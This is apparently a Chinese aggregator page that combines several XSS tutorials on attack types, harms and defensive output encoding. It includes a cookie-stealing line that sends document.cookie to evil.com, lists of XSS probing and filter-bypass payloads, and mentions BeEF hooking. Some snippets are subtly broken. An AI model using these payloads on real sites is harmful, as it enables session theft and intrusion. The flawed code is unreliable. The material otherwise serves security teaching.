精华内容
下载资源
问答
  • 跨脚本攻击
    千次阅读
    2020-12-21 09:31:40

    原理:xss攻击是指对web程序中恶意植入代码,对网页数据、浏览信息、登录操作进行记录,获取不法信息

    危害:

    1、钓鱼欺骗:最典型的就是利用目标网站的反射型跨站脚本漏洞将目标网站重定向到钓鱼网站,或者通过注入钓鱼JavaScript脚本以监控目标网站的表单输入,甚至攻击者基于DHTML技术发起更高级的钓鱼攻击。

    2、网站挂马:跨站时,攻击者利用Iframe标签嵌入隐藏的恶意网站,将被攻击者定向到恶意网站上、或弹出恶意网站窗口等方式,进行挂马。

    3、身份盗用:Cookie是用户对于特定网站的身份验证标志,XSS攻击可以盗取用户的cookie,从而利用该cookie盗取用户对该网站的操作权限。

    4、盗取网站用户信息:当窃取到用户cookie从而获取到用户身份时,攻击者可以盗取到用户对网站的操作权限,从而查看用户隐私信息。

    5、垃圾信息发送:在社交网站社区中,利用XSS漏洞借用被攻击者的身份发送大量的垃圾信息给特定的目标群。

    6、劫持用户Web行为:一些高级的XSS攻击甚至可以劫持用户的Web行为,从而监视用户的浏览历史、发送与接收的数据等等。

    7、XSS蠕虫:借助XSS蠕虫病毒还可以用来打广告、刷流量、挂马、恶作剧、破坏数据、实施DDoS攻击等。

    8、获取用户的个人信息、银行卡密码、私密隐私

    9、网页瘫痪无法正常运行

    修复建议:1:首先对于我们而言应该要谨记浏览正规的网站,防止不法分子有机可乘

    2、网页数据多次过滤

    3、对危险代码、字符串严格控制,对数据发起的请求进行验证

    4、其次是开发人员应注意编码的严禁性

    更多相关内容
  • 此文档是本人亲自整理过的相对通俗易懂的一个脚本攻击实例解析
  • 人们经常将脚本攻击(Cross Site Scripting)缩写为CSS,但这会与层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。因此有人将脚本攻击缩写为XSS。
  • 网络上曾经有过关于脚本攻击与防御的文章,但是随着攻击技术的进步,以前的关于脚本攻击的看法与理论已经不能满足现在的攻击与防御的需要了,而且由于这种对于站脚本认识上的混乱,导致现在很多的程序包括...
  • 首先,脚本攻击都是由于对用户的输入没有进行严格的过滤造成的,所以我们必须在所有数据进入我们的网站和数据库之前把可能的危险拦截。针对非法的HTML代码包括单双引号等,可以使用htmlentities() 。
  • web安全技术-实验七、脚本攻击(xss)(反射型)
  • 这些规则适用于所有不同类别的XSS脚本攻击,可以通过在服务端执行适当的解码来定位映射的XSS以及存储的XSS,由于XSS也存在很多特殊情况,因此强烈推荐使用解码库。另外,基于XSS的DOM也可以通过将这些规则运用在...
  • 人们经常将脚本攻击(Cross Site Scripting)缩写为CSS,但这会与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆。因此,有人将脚本攻击缩写为XSS。XSS(Cross Site Scripting)脚本攻击,是一种...

    一. XSS概述

    人们经常将跨站脚本攻击(Cross Site Scripting)缩写为CSS,但这会与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆。因此,有人将跨站脚本攻击缩写为XSS。

    XSS(Cross Site Scripting)跨站脚本攻击,是一种网站应用程序的安全漏洞攻击。XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。

    这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

    跨站脚本攻击(XSS),是最普遍的Web应用安全漏洞。这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的。

    攻击者可以使用户在浏览器中执行其预定义的恶意脚本,其导致的危害可想而知,如劫持用户会话,插入恶意内容、重定向用户、使用恶意软件劫持用户浏览器、繁殖XSS蠕虫,甚至破坏网站、修改路由器配置信息等。

    XSS漏洞可以追溯到上世纪90年代。大量的网站曾遭受XSS漏洞攻击或被发现此类漏洞,如Twitter、Facebook、MySpace、Orkut、新浪微博和百度贴吧。研究表明,最近几年XSS已经超过缓冲区溢出成为最流行的攻击方式,有68%的网站可能遭受此类攻击。根据开放网页应用安全计划(Open Web Application Security Project)公布的2010年统计数据,在Web安全威胁前10位中,XSS排名第2,仅次于代码注入(Injection)。

    XSS 攻击有两大要素: 1. 攻击者提交恶意代码。 2. 浏览器执行恶意代码。

    XSS的重点不在于跨站,而在于脚本的攻击

    二. 原理

    HTML是一种超文本标记语言,通过将一些字符特殊地对待来区别文本和标记,例如,小于符号(<)被看作是HTML标签的开始,之间的字符是页面的标题等等。

    当动态页面中插入的内容含有这些特殊字符(如<)时,用户浏览器会将其误认为是插入了HTML标签,当这些HTML标签引入了一段JavaScript脚本时,这些脚本程序就将会在用户浏览器中执行。所以,当这些特殊字符不能被动态页面检查或检查出现失误时,就将会产生XSS漏洞。

    三. 特点

    特点:隐蔽性强、发起容易等特点;

    与钓鱼攻击相比,XSS攻击所带来的危害更大,通常具有如下特点:

    1. 由于XSS攻击在用户当前使用的应用程序中执行,用户将会看到与其有关的个性化信息,如账户信息或“欢迎回来”消息,克隆的Web站点不会显示个性化信息。
    2. 通常,在钓鱼攻击中使用的克隆Web站点一经发现,就会立即被关闭。
    3. 许多浏览器与安全防护软件产品都内置钓鱼攻击过滤器,可阻止用户访问恶意的克隆站点。
    4. 如果客户访问一个克隆的Web网银站点,银行一般不承担责任。但是,如果攻击者通过银行应用程序中的XSS漏洞攻击了银行客户,则银行将不能简单地推卸责任。

    四. 类型

    从攻击代码的工作方式可以分为三个类型:

    1. 持久型跨站:最直接的危害类型,跨站代码存储在服务器(数据库)。经过后端,经过数据库。
    2. 非持久型跨站:反射型跨站脚本漏洞,最普遍的类型。用户访问服务器-跨站链接-返回跨站代码。经过后端,不经过数据库。
    3. DOM跨站(DOM XSS):DOM(document object model文档对象模型),客户端脚本处理逻辑导致的安全问题。

    基于DOM的XSS漏洞是指受害者端的网页脚本在修改本地页面DOM环境时未进行合理的处置,而使得攻击脚本被执行。在整个攻击过程中,服务器响应的页面并没有发生变化,引起客户端脚本执行结果差异的原因是对本地DOM的恶意篡改利用。

    4.1 非持久型跨站

    反射型XSS只是简单的把用户输入的数据从服务器反射给用户浏览器,要利用这个漏洞,攻击者必须以某种方式诱导用户访问一个精心设计的URL(恶意链接),才能实施攻击。

    反射型XSS通常出现在搜索等功能中,需要被攻击者点击对应的链接才能触发,且受到XSS Auditor(chrome内置的XSS保护)、NoScript等防御手段的影响较大,所以它的危害性较存储型要小。

    攻击流程
    在这里插入图片描述

    漏洞原因
    当用户的输入或者一些用户可控参数未经处理地输出到页面上,就容易产生XSS漏洞。主要场景有以下几种:

    • 将不可信数据插入到HTML标签之间时;// 例如div, p, td;

    • 将不可信数据插入到HTML属性里时;// 例如:<div width=$INPUT></div>

    • 将不可信数据插入到SCRIPT里时;// 例如:<script>var message = ” $INPUT “;</script>

    • 还有插入到Style属性里的情况,同样具有一定的危害性;// 例如<span style=” property : $INPUT ”></span>

    • 将不可信数据插入到HTML URL里时,// 例如:<a href=”[http://www.abcd.com?param=](http://www.ccc.com/?param=) $INPUT ”></a>

    • 使用富文本时,没有使用XSS规则引擎进行编码过滤。

    对于以上的几个场景,若服务端或者前端没有做好防范措施,就会出现漏洞隐患。

    4.2 持久型跨站

    存储型(或 HTML 注入型/持久型)XSS 攻击最常发生在由社区内容驱动的网站或 Web 邮件网站,不需要特制的链接来执行。黑客仅仅需要提交 XSS 漏洞利用代码(反射型XSS通常只在url中)到一个网站上其他用户可能访问的地方。这些地区可能是博客评论,用户评论,留言板,聊天室,HTML 电子邮件,wikis,和其他的许多地方。

    一旦用户访问受感染的页,执行是自动的。攻击流程:
    在这里插入图片描述
    漏洞成因存储型XSS漏洞的成因与反射型的根源类似,不同的是恶意代码会被保存在服务器中,导致其它用户(前端)和管理员(前后端)在访问资源时执行了恶意代码,用户访问服务器-跨站链接-返回跨站代码。

    4.3 DOM跨站(DOM XSS)

    通过修改页面的DOM节点形成的XSS,称之为DOM Based XSS。

    攻击案例:在这段代码中,submit按钮的onclick事件调用了xsstest()函数。而在xsstest()中,修改了页面的DOM节点,通过innerHTML把一段用户数据当作HTML写入到页面中,造成了DOM Based XSS。

    <html>
        <head>
            <title>DOM Based XSS Demo</title>
            <script>
            function xsstest() {
            var str = document.getElementById("input").value;
            document.getElementById("output").innerHTML = "<img
            src='"+str+"'></img>";
            }
            </script>
        </head>
        <body>
        <div id="output"></div>
        <input type="text" id="input" size=50 value="" />
        <input type="button" value="submit" onclick="xsstest()" />
        </body>
    </html>
    

    漏洞原因:DOM型XSS是基于DOM文档对象模型的。对于浏览器来说,DOM文档就是一份XML文档,当有了这个标准的技术之后,通过JavaScript就可以轻松的访问DOM。当确认客户端代码中有DOM型XSS漏洞时,诱使(钓鱼)一名用户访问自己构造的URL,利用步骤和反射型很类似,但是唯一的区别就是,构造的URL参数不用发送到服务器端,可以达到绕过WAF、躲避服务端的检测效果。

    五. 攻击方式

    常用的XSS攻击手段和目的有:

    1、盗用cookie,获取敏感信息。
    2、利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。
    3、利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作。
    4、利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
    5、在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDoS攻击的效果。

    六. 防御方法

    6.1 基于特征的防御

    XSS漏洞和著名的SQL注入漏洞一样,都是利用了Web页面的编写不完善,所以每一个漏洞所利用和针对的弱点都不尽相同。这就给XSS漏洞防御带来了困难,不可能以单一特征来概括所有XSS攻击。

    传统的XSS防御在进行攻击鉴别时多采用特征匹配方式,主要是针对“javascript”这个关键字进行检索,但是这种鉴别不够灵活,凡是提交的信息中各有“javascript”时,就被硬性的被判定为XSS攻击。

    6.2 基于代码修改的防御

    Web页面开发者在编写程序时往往会出现一些失误和漏洞,XSS攻击正是利用了失误和漏洞,因此一种比较理想的方法就是通过优化Web应用开发来减少漏洞,避免被攻击:

    • 1)用户向服务器上提交的信息要对URL和附带的的HTTP头、POST数据等进行查询,对不是规定格式、长度的内容进行过滤。
    • 2)实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。
    • 3)确认接收的的内容被妥善的规范化,仅包含最小的、安全的Tag(没有javascript),去掉任何对远程内容的引用(尤其是样式表和javascript),使用HTTP only的cookie。

    当然,如上操作将会降低Web业务系统的可用性,用户仅能输入少量的制定字符,人与系统间的交互被降到极致,仅适用于信息发布型站点。并且考虑到很少有Web编码人员受过正规的安全培训,很难做到完全避免页面中的XSS漏洞。

    6.2.1 XSS 防御之 HTML 编码

    应用范围:将不可信数据放入到 HTML 标签内(例如div、span等)的时候进行HTML编码。
    编码规则:将 & < > " ’ / 转义为实体字符(或者十进制、十六进制)。
    示例代码

    function encodeForHTML(str, kwargs){     return ('' + str)
     
          .replace(/&/g, '&amp;')
     
          .replace(/</g, '&lt;')     // DEC=> &#60; HEX=> &#x3c; Entity=> &lt;
     
          .replace(/>/g, '&gt;')
     
          .replace(/"/g, '&quot;')
     
          .replace(/'/g, '&#x27;')   // &apos; 不推荐,因为它不在HTML规范中
     
          .replace(/\//g, '&#x2F;');
     
      }; 
    

    HTML 有三种编码表现方式:十进制、十六进制、命名实体。例如小于号(<)可以编码为 “十进制> <”, “十六进制=> <”, “命名实体=> <” 三种方式。对于单引号(')由于实体字符编码方式不在 HTML 规范中,所以此处使用了十六进制编码。

    6.2.2 XSS 防御之 HTML Attribute 编码

    应用范围:将不可信数据放入 HTML 属性时(不含src、href、style 和事件处理属性),进行 HTML Attribute 编码

    编码规则:除了字母数字字符以外,使用 &#xHH;(或者可用的命名实体)格式来转义 ASCII值小于256所有的字符

    示例代码

    function encodeForHTMLAttibute(str, kwargs){
        let encoded = ''
        for(let i = 0; i < str.length; i++) {       
            let ch = hex = str[i]     
            if (!/[A-Za-z0-9]/.test(str[i]) && str.charCodeAt(i) < 256) {         
                hex = '&#x' + ch.charCodeAt(0).toString(16) + ';'
            }
            encoded += hex
        }
        return encoded
    }
    

    6.2.3 XSS 防御之 JavaScript 编码

    作用范围:将不可信数据放入事件处理属性、JavaScirpt值时进行 JavaScript 编码

    编码规则:除字母数字字符外,请使用\xHH格式转义ASCII码小于256的所有字符

    示例代码

    function encodeForJavascript(str, kwargs) {     
        let encoded = '';     
        for(let i = 0; i < str.length; i++) {       
            let cc = hex = str[i];       
            if (!/[A-Za-z0-9]/.test(str[i]) && str.charCodeAt(i) < 256) {         
                hex = '\\x' + cc.charCodeAt().toString(16);
     
            }
            encoded += hex;
        }
        return encoded;   
    };
    

    6.2.4 XSS 防御之 URL 编码

    作用范围:将不可信数据作为 URL 参数值时需要对参数进行 URL 编码

    编码规则:将参数值进行 encodeURIComponent 编码

    示例代码

    function encodeForURL(str, kwargs){     
        return encodeURIComponent(str);   
    };
    

    6.2.5 XSS 防御之 CSS 编码

    作用范围:将不可信数据作为 CSS 时进行 CSS 编码

    编码规则:除了字母数字字符以外,使用\XXXXXX格式来转义ASCII值小于256的所有字符

    示例代码

    function encodeForCSS (attr, str, kwargs){     
        let encoded = '';     
        for (let i = 0; i < str.length; i++) {       
            let ch = str.charAt(i);       
            if (!ch.match(/[a-zA-Z0-9]/) {         
                let hex = str.charCodeAt(i).toString(16);         
                let pad = '000000'.substr((hex.length));         
                encoded += '\\' + pad + hex;
            } else {         
                encoded += ch;
            }     
        }
        return encoded;
    }; 
    

    任何时候用户的输入都是不可信的。对于 HTTP 参数,理论上都要进行验证,例如某个字段是枚举类型,其就不应该出现枚举以为的值;对于不可信数据的输出要进行相应的编码。

    XSS 漏洞有时比较难发现,所幸当下React、Vue等框架都从框架层面引入了 XSS 防御机制,一定程度上解放了我们的双手。 但是作为开发人员依然要了解 XSS 基本知识、于细节处避免制造 XSS 漏洞。框架是辅助,我们仍需以人为本,规范开发习惯,提高 Web 前端安全意识。

    6.3 客户端分层防御策略

    客户端跨站脚本攻击的分层防御策略是基于独立分配线程和分层防御策略的安全模型。它建立在客户端(浏览器),这是它与其他模型最大的区别,之所以客户端安全性如此重要,客户端在接受服务器信息,选择性的执行相关内容。这样就可以使防御XSS攻击变得容易,该模型主要由三大部分组成:

    • 1)对每一个网页分配独立线程且分析资源消耗的“网页线程分析模块”;
    • 2)包含分层防御策略四个规则的用户输入分析模块;
    • 3)保存互联网上有关XSS恶意网站信息的XSS信息数据库。

    XSS攻击主要是由程序漏洞造成的,要完全防止XSS安全漏洞主要依靠程序员较高的编程能力和安全意识,当然安全的软件开发流程及其他一些编程安全原则也可以大大减少XSS安全漏洞的发生。这些防范XSS漏洞原则包括:
    (1)不信任用户提交的任何内容,对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、REFER、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。尽量采用POST而非GET提交表单;对“<”,“>”,“;”,“””等字符做过滤;任何内容输出到页面之前都必须加以en-code,避免不小心把htmltag显示出来。
    (2)实现Session 标记(session tokens)、CAPTCHA(验证码)系统或者HTTP引用头检查,以防功能被第三方网站所执行,对于用户提交信息的中的img等link,检查是否有重定向回本站、不是真的图片等可疑操作。
    (3)cookie 防盗。避免直接在cookie中泄露用户隐私,例如email、密码,等等;通过使cookie和系统IP绑定来降低cookie泄露后的危险。这样攻击者得到的cookie没有实际价值,很难拿来直接进行重放攻击。
    (4)确认接收的内容被妥善地规范化,仅包含最小的、安全的Tag(没有JavaScript),去掉任何对远程内容的引用(尤其是样式表和JavaScript),使用HTTPonly的cookie。

    6.4 其它类型的防范

    虽然在渲染页面和执行javascript时,通过谨慎的转义可以防止xss的发生,但完全依赖开发的严谨任然是不够的,以下介绍一些通用的方案,可以降低xss带来的风险和后果。
    1、CSP: Content Security Policy:
    严格的CSP在XSS的防范中可以起到以下作用:

    禁止加载外域代码,防止复杂的攻击逻辑。
    禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。
    禁止内联脚本执行(规则较严格,目前发现 GitHub 使用)。
    禁止未授权的脚本执行(新特性,Google Map 移动版在使用)。
    合理使用上报可以及时发现 XSS,利于尽快修复问题。
    

    2、输入内容长度控制

    对于不受信任的输入,都应该限定一个合理的长度。虽然无法完全防止XSS发生,但可以增加xss攻击的难度。

    3、其他安全措施

    http-only cookie:禁止javascript读取某些敏感的cookie,攻击者完成xss注入后无法窃取此cookie.

    验证码:防止脚本冒充用户提交危险操作。

    展开全文
  • XSS脚本攻击剖析与防御》是一本专门剖析XSS安全的专业书,总共8章,主要包括的内容如下。第1章 XSS初探,主要阐述了XSS的基础知识,包括XSS的攻击原理和危害。第2章 XSS利用方式,就当前比较流行的XSS利用方式做...
  • xss脚本攻击

    千次阅读 热门讨论 2022-02-26 19:59:43
    主要指攻击者可以再页面中插入恶意脚本代码,当受害者访问这些页面时,浏览器会解析并执行这些恶意代码,从而达到窃取用户身份、钓鱼、传播恶意代码和控制用户浏览器等行为 产生原因: 由于web程序对用户的输入过滤...

    概述:

    主要指攻击者可以再页面中插入恶意脚本代码,当受害者访问这些页面时,浏览器会解析并执行这些恶意代码,从而达到窃取用户身份、钓鱼、传播恶意代码和控制用户浏览器等行为

    产生原因:

    由于web程序对用户的输入过滤不足、,导致用户输入的恶意HTML/Javascript 代码注入到网页中,混淆原有语义,产生新的恶意语句。在其他用户访问网页时,浏览器就会触发恶意的网页代码,从而达到XSS攻击的目的

    分类:

    反射型:恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击
    输入:
    在这里插入图片描述

    输入语句被写入了html,我点击submit就会弹出用户的cookie

    存储型:也叫持久性XSS,当一个玉面(如留言板)有存储型时,插入的的恶意XSS代码会存储到数据库中 ,当访问此页面查看留言时,web程序会从数据库中取出恶意代码插入到页面,导致浏览器触发XSS
    在这里插入图片描述

    构造这样的payload
    在这里插入图片描述

    ,现在我们重新访问页面,还是会依次弹处hello和nihao,因为我们提交的语句已经被写入数据库中了

    Dom型:通过修改页面的DOM节点形成的XSS,从效果上来说也是反射型。
    反射型或存储型时服务器将提交的内容反馈到了html源码内,导致触发XSS。也就是说返回到html源码中可以看到触发xss的代码。DOM型XSS只与客户端上的js交互,也就是说提交的恶意代码,被放到了js中执行,然后显示出来
    不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS是通过url 传入参数去控制触发的
    在这里插入图片描述
    是因为js代码执行了我们输入的payload,而不是html

    查找XSS漏洞探测

    寻找web应用上的输入与输出口(例如网站输入框、URL参数等等),在可控参数中提交<script>alert(/xss/)</script>等攻击字符串,观察输出点是否对这些字符串进行转移、过滤、实体编码等处理。
    在这里插入图片描述
    这好像也是xss啊?但其实不是,我们右击选择编辑为html
    在这里插入图片描述
    发现他是经过url编码的,所以我们输入的payload被进行了编码再被放进html中,从而防止了xss的产生,所以并不会混淆语义。
    但是显示在页面中的时候会进行url解码

    常用探测向量

    所有标签的 > 都可以用 // 代替, 例如 <script>alert(1)</script//

    <script>alert(1)</script>
    <img scr=x onerror=prompt(1);>
    <audio scr=x onerror=prompt(1);>
    <a href="http://www.google.com">Clickme</a>
    <svg onload=prompt(1);>
    <svg οnlοad="alert(1)"//   
    <body οnlοad=alert(1)>
    <body οnpageshοw=alert(1)>
    <style οnlοad=alert(1)></style>
    

    获得cookie

    黑客在留言板中插入恶意代码
    受害者访问被植入恶意代码的页面
    恶意代码将cookir发送给黑客的服务器

    一般使用xss平台生成payload,受害者执行之后cookie会被发送到xss平台

    一般需要自行搭建xss平台
    蓝莲花xss平台搭建教程

    内网信息获取

    https://github.com/BlackHole1/WebRtcXSS
    该平台可以利用xss获取受害者的网络信息,扫描内网存在的漏洞并利用

    BEEF(重要)

    kali自带
    beef利用简单的xss漏洞,通过一段编写好的js代码(hook.js)控制目标主机的浏览器,通过目标主机浏览器获得该主机的详细信息,并进一步扫描内网

    XSS绕过

    实际环境中,开发人员会对用户的输入进行相应的过滤,这时我们需要fuzz绕过

    常见绕过:

    大小写转换:<ScrIpt>AlerT("XSS");</SCRiPt>
    
    闭合标签: ><script>alert("XSS");</script>
    
    Hex编码: <scrIpt>alert("XSS");</script>转换为%3c%73%63%72%49%70%74%3e%61%6c%65%72%74%28%22%58%53%53%22%29%3b%3c%2f%73%63%72%69%70%74%3e
    
    利用html属性 : 
    <img src="javascript:alert("xss");">
    
    空格/tab/回车:
    <img src="java script:alert('xss);"width=100>
    
    字符编码
    %cl;alert(/xss/.);//
    
    圆括号过滤
    <a onmouseover="javascript:window.onerror=alert;throw 1>
    
    ;:被过滤
    <svg><script>alert&#40/1/&#41</script>
    
    实体解码
    &It:/script&gt;&lt;script&gt;alert(1)&It;/script&gt;
    
    编码
    使用十六进制、Unicode、HTML等进行编码
    
    Alert被过滤
    使用prompt和confirm替代
    
    展开全文
  • XSS脚本攻击

    2021-01-27 16:55:46
    脚本(crosssitescript)为了避免与样式css混淆,所以简称为XSS。XSS是一种经常出现在web应用中的计算机安全漏洞,也是web中最主流的攻击方式。那么什么是XSS呢?XSS是指恶意攻击者利用网站没有对用户提交数据...
  • 脚本攻击(XSS)

    2021-06-26 06:32:48
    脚本攻击(XSS)是一种客户端代码注入攻击。攻击者通过在合法的网页中注入恶意代码,达到在受害者的浏览器中执行恶意代码的目的。当受害者访问执行恶意代码的网页时,攻击就开始了。这些网页成为了将恶意代码发送...

    bca78102c8dd8b2eef142fb3453d56f3.gif

    跨站脚本攻击(XSS)是一种客户端代码注入攻击。攻击者通过在合法的网页中注入恶意代码,达到在受害者的浏览器中执行恶意代码的目的。当受害者访问执行恶意代码的网页时,攻击就开始了。这些网页成为了将恶意代码发送到用户浏览器的工具。通常受到跨站脚本攻击的网页包括论坛、留言板以及可以评论的网页。

    如果网页将用户的原始输入作为网页内容,那么它很容易受到 XSS 攻击,因为这类用户输入一定会被受害者的浏览器解析。XSS 攻击可能存在于 VBScript、ActiveX、Flash,甚至 CSS 中。但它在 JavaScript 中最常见,主要是因为 JavaScript 是大多数浏览体验的基础。

    348726de4bf52df462d694e32bf6025b.png

    “跨站脚本攻击只影响用户吗?”

    如果攻击者能利用某网页上的 XSS 漏洞,在用户浏览器上执行任意的 JavaScript 代码,那么该网站和它的用户都会被影响。像其他安全性问题一样,XSS 不只会给用户造成困扰。如果它影响了你的用户,那么它也会影响你。

    跨站脚本攻击也可能用于丑化原网站,而不是攻击网站用户。攻击者通过注入脚本,改变网站的内容,或者甚至将当前页面重定向到另一个网页,例如一个有恶意代码的网页。

    攻击者能利用 JavaScript 做什么?

    与诸如 SQL 注入这样的漏洞相比,我们一般会认为 XSS 漏洞是低风险的。起初,能在网页端执行 JavaScript 引起的后果可能并不严重。大多数浏览器都是在严格受控的环境中运行 JavaScript,这使得 JavaScript 在访问用户的操作系统和文件上受到限制。但是,如果将 JavaScript 用于恶意内容中,它仍然会带来一定的风险:

    网页其余部分能访问的所有对象,恶意的 JavaScript 都能访问。包括访问用户的 cookie。用户的 cookie 通常被用来存储会话标志。如果攻击者获得了用户的会话 cookie,他们便能伪装成该用户,利用其身份执行操作,并且访问用户的敏感数据。

    JavaScript 可以读取并任意修改浏览器中的 DOM。还好,该情形只可能发生在 JavaScript 当前运行的网页中。

    JavaScript 可使用 XMLHttpRequest 对象,向任意站点发送带有任意数据的 HTTP 请求。

    现代浏览器中的 JavaScript 可使用 HTML5 接口。例如可访问用户的地理位置、摄像头、麦克风,甚至是用户文件系统中的指定文件。虽然这些接口大多数都需要经过用户同意,但攻击者可通过社会工程学绕过这些限制。

    通过以上几点,并结合社会工程学,不法之徒可发起更高级的攻击,包括:盗窃 Cookie、种植木马、记录密钥、网络钓鱼和盗窃身份。XSS 漏洞提供了完美的空间将攻击升级为更严重的攻击。跨站脚本攻击经常与其他类型的攻击一起被使用,例如:跨站请求伪造(CSRF)。

    跨站脚本攻击的类型包括:存储型/持久化的 XSS、 反射型/非持久化的 XSS 和 基于 DOM 的 XSS。你可在 XSS 的类型一文中了解更多内容。

    跨站脚本攻击如何工作

    典型的 XSS 攻击有两个阶段:

    为了在受害者的浏览器中运行恶意 JavaScript 代码,攻击者必须先找到一种方式将恶意代码注入到受害者访问的网页中。

    之后,受害者必须访问有恶意代码的网页。如果攻击者有特定的攻击目标,该攻击者可使用社会工程学结合(或)网络钓鱼的方式给受害者发送恶意网址。

    要完成第一步,易受攻击的网站需要将用户的输入直接包含在它的页面中。之后攻击者便能插入恶意代码片段,这些代码将在网页中使用并被受害者的浏览器视为源代码。也有一些 XSS 攻击的变体,攻击者利用社会工程学诱导用户访问某网址,并且该网址中就包含了恶意代码。

    以下是服务端伪代码片段,用于在网页中展示最近的评论:

    print ""

    print "

    Most recent comment

    "

    print database.latestComment

    print ""

    复制代码

    以上脚本很简单,作用是从数据库中取出最近的评论并放入 HTML 页面中。这段脚本默认页面展示的评论是纯文本,而不包含 HTML 标签或其他代码。这就导致了页面很容易遭受 XSS 攻击,因为攻击者可以提交包含恶意代码的评论。例如当评论的内容是以下代码:

    doSomethingEvil();

    复制代码

    网站服务端为访问该网页的用户提供以下 HTML 代码:

    Most recent comment

    doSomethingEvil();

    复制代码

    当受害者的浏览器加载该页面时,攻击者的恶意脚本开始执行。受害者常常不会意识到这类情形,也不能阻止这类攻击。

    使用 XSS 攻击偷取 Cookie

    不法之徒经常使用 XSS 攻击偷取 cookie。如此他们便能伪装成受害者。攻击者有多种方式将 cookie 发送到他们自己的服务器。其中一种方式是在受害者浏览器中执行以下客户端代码:

    window.location = "http://evil.com/?cookie=" + document.cookie;

    复制代码

    下图展示了简单 XSS 攻击的各步骤。

    2bec887058ed872f5fa0a26fe84f786a.png

    攻击者通过在提交表单时携带恶意 JavaScript 内容,将恶意内容注入到网站的数据库中。

    受害者向网站服务端请求网页。

    网站服务端将攻击者的恶意内容作为 HTML 内容的一部分,并返回给受害者的浏览器。

    受害者的浏览器执行包含在 HTML 中的恶意脚本。在该场景中,它将受害者的 cookie 发送到攻击者的服务器。

    在 HTTP 请求抵达服务器时,攻击者只需从请求中提取受害者的 cookie 即可。

    攻击者可以使用刚刚偷窃的受害者 cookie 进行伪装。

    想了解更多如何实现 XSS 攻击,你可以参考一份跨站脚本攻击的综合教程。

    跨站脚本攻击方式

    以下列表包含常见的 XSS 攻击方式,攻击者可使用它们降低网站的安全性。OWASP 组织维护了一个更完整的 XSS 攻击方式的列表:XSS Filter Evasion Cheat Sheet。

    复制代码

    JavaScript 事件

    像 onload 和 onerror 这类 JavaScript 事件属性能在很多种标签中使用。这也是一类非常流行的 XSS 攻击方式。

    复制代码

    标签中,除了像上面一样,可以通过事件属性实现 XSS 攻击代码外,还可以通过更多鲜为人知的属性,比如:background 属性。

    复制代码

    标签

    一部分浏览器会执行 属性中的 JavaScript 代码。

    复制代码

    标签

    标签的功能是将另一个 HTML 页面嵌入到当前页面中。由于内容安全协议(CSP),尽管 IFrame 中可能有 JavaScript 代码,但这些代码没有权限访问父页面上的 DOM。然而,IFrame 仍然是发起网络钓鱼攻击的有效方式。

    复制代码

    标签

    在一些浏览器中,如果 标签的 type 属性被设置成 image,那么它便能嵌入脚本。

    复制代码

    标签

    标签通常用于链接外部样式表,但也可以包含脚本。

    复制代码

    复制代码

    标签

    标签也可以通过 background 属性嵌入脚本。

    复制代码

    标签

    标签能用于引入外部网站的脚本。

    复制代码

    你的网站是否易受跨站脚本攻击?

    跨站脚本攻击漏洞是最常见的网站漏洞之一。OWASP 组织(开放网络应用安全工程)在 OWASP Top 10 2017 一文中将 XSS 漏洞列为第二流行问题。

    幸运的是,通过运行 Acunetix 的漏洞扫描器对网站进行自动扫描,将很容易测试你的网站是否存在 XSS 漏洞或其他漏洞。Acunetix 的漏洞扫描器 包含专门的 XSS 漏洞扫描模块。你可以在这个例子中找到更多有关对网站运行 XSS 漏洞扫描的信息。如何检测盲目 XSS 攻击漏洞一文中介绍了如何使用 Acunetix 检测盲目 XSS 攻击漏洞的例子。

    如何避免 XSS 攻击

    为了免受 XSS 攻击,你必须对用户的输入进行校验。你的应用代码不应该在没有检查接收的数据是否是恶意代码的情况下,直接将收到的数据输出给浏览器。

    参考这些文章获取更多细节:预防 XSS 攻击和预防基于 DOM 的跨站脚本攻击。你也可以在 OWASP 维护的预防 XSS 攻击的速查表中找到有用的信息。

    如何预防跨站脚本攻击(XSS)—— 通用技巧

    预防跨站脚本攻击(XSS)并不容易。特定的预防技术和 XSS 漏洞的类型、用户输入时的场景上下文和编程框架相关。尽管如此,你仍然可以遵循一些通用策略来确保网站安全。

    第一步:培训并保持安全意识

    为了保证你的网站安全,所有参与搭建该网站的人员都必须意识到 XSS 漏洞相关的风险。你应该为所有开发者、测试员工、运维员工和系统管理员提供适量的安全培训。你可以让他们参考这篇文章作为安全培训的开始。

    第二步:不要信任任何用户输入

    将所有用户输入都看作不可信的。任何被用作 HTML 输出结果的用户输入都有 XSS 攻击的风险。对待授权用户或内部员工的输入,也应该像对待外部用户输入一样,将其视为不可信。

    第三步:使用转义或编码

    根据用户输入内容的使用场景,使用合适的转义或编码技术,比如:HTML 转义、JavaScript 转义、CSS 转义、URL 转义等等。不到万不得已,不要自己写转义库,尽量使用已经存在的转义库。

    第四步:清理 HTML

    如果用户输入包含 HTML 内容,那么不能对这些内容进行转义,否则将导致标签不合法(译者注:例如期望

